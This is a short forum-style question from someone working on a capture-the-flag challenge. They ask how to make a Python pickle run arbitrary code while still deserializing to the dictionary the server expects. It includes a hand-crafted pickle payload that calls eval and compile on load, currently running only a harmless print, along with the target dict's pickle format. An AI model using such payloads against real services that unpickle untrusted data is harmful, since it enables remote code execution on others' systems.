I am doing a CTF where a pickle string which encodes a dictionary is sent to a server.
I'm pretty sure I'm supposed to alter the pickle in such way that the pickle will run arbitrary code to get the flag. Some searching lead me to this pickle, which allows me to run code:
(c__builtin__
eval
(c__builtin__
compile
(Vprint("Bang! From, Evan.", 1)
V-
Vexec
I65536
I0
tRtR.)
The problem is the server expects the pickle to be a dict, so when code is sent to it it gives an "internal server error" (perhaps it's trying to access a key, while a dict isn't returned by the pickle).
So how can I run code in a pickle and return a dict at the same time? (btw, I also tried to run return
in the code, but that gave an "internal server error" as well.
Note: This is the format of the string:
(dp0
S'string_a'
p1
I00
sS'string_b'
p2
I00
sS'string_c'
p3
I00
sS'string_d'
p4
I00
sS'string_e'
p5
I00
sS'string_f'
p6
I00
s.